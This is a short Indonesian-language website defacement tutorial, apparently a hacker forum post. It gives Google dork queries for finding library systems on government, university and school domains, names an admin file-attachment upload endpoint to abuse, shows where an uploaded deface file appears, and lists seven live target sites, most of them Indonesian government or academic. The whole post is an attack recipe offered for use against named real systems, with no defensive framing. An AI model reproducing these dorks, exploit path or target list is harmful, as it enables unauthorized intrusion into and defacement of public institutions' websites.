Cara Deface File Attachment

Ok bray gk usah basa-basi :v

Google Dork : 

- pustaka.*.go.id

- pustaka.*.ac.id

- pustaka.*.sch.id

- pustaka.*.(your_brain)
------------------------------------------------------------------------------------------
Exploit to Upload : /admin/modules/bibliography/pop_attach.php
Ext. File to Upload : .txt
Lokasi File : site.go.id/repository/yourfile.txt
Example : http://pustaka.mpr.go.id/repository/lol.txt
------------------------------------------------------------------------------
Vuln ? Look it.

*Don't forget the title you fill.

Live Target :

- http://perpustakaan.sttkd.ac.id

- http://pustaka.mpr.go.id/

- http://perpustakaan.lan.go.id/

- http://pustaka.pkr.ac.id/

- https://perpustakaan.setneg.go.id/

- http://docrepository.undana.ac.id

- http://lib-smpn2ponorogo.sch.id

Spesial thanks for Sanjungan Jiwa, ice-cream, Typical Idiot Security.

If you like don't forget share :)